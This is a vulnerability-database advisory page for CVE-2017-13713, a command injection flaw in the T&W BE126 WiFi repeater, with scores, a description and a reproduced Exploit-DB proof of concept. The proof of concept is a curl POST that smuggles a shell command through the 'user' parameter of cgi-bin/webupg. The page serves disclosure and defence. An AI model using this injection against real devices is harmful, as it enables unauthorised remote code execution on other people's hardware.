CVE-2017-13713

high

Published 2017-09-07 · Modified 2026-05-13

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CVSS v3

8.8

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

—

not yet in upstream

VIR risk

9.8

Description

T&W WIFI Repeater BE126 allows remote authenticated users to execute arbitrary code via shell metacharacters in the user parameter to cgi-bin/webupg.

Predictions

Exploit likelihood

92%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42608 webapps hardware text · 1 KB

Hay Mizrachi · 2017-09-04

Wireless Repeater BE126 - Remote Code Execution

text exploit Source: Exploit-DB

# Exploit Title:  WIFI Repeater BE126 – Remote Code Execution
# Date Publish: 09/09/2017
# Exploit Authors: Hay Mizrachi, Omer Kaspi

# Contact: haymizrachi@gmail.com, komerk0@gmail.com
# Vendor Homepage: http://www.twsz.com
# Category: Webapps
# Version: 1.0
# Tested on: Windows/Ubuntu 16.04

# CVE: CVE-2017-13713

1 - Description:

HTTP POST request that contains user parmater which can give us to run
Remote Code Execution to the device.
The parameter is not sanitized at all, which cause him to be vulnerable.


2 - Proof of Concept:

curl -d "name=HTTP&url="http://www.test.com&user=;echo hacked!! >
/var/mycode;&password=a&port=8&dir=a"
--cookie "Cookie: sessionsid=XXXXX; auth=ok expires=Sun, 15-May-2112
01:45:46 GMT; langmanulset=yes;
sys_UserName=admin; expires=Mon, 31-Jan-2112 16:00:00 GMT; language=en_us"
-X POST http://beconnected.client/cgi-bin/webupg

3 - Timeline:

29/4/2017 – Vulnerability Discovered.
29/4/2017 - Vendor not responding.
03/09/2017 – Exploit published.

References

CWEs

CWE-78

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.